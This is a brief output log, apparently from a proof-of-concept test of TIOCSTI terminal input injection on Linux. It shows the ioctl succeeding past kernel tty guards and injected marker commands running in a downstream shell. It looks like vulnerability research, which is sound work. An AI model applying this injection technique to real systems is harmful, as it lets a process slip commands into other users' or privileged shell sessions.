[*] uid=1001 euid=1001  pty slave=/dev/pts/0
echo TIOCSTI_READBACK_OK
[+] TIOCSTI ioctl succeeded (no EPERM/EACCES) -- guards at tty.c:1160,1167 bypassed for ctty owner
[+] readback from /dev/tty (25 bytes): echo TIOCSTI_READBACK_OK
echo TIOCSTI_EXEC_BY_DOWNSTREAM_SHELL
exit
$ echo TIOCSTI_EXEC_BY_DOWNSTREAM_SHELL
TIOCSTI_EXEC_BY_DOWNSTREAM_SHELL
$ exit
[*] downstream sh exit status: 0
RUN_EXIT=0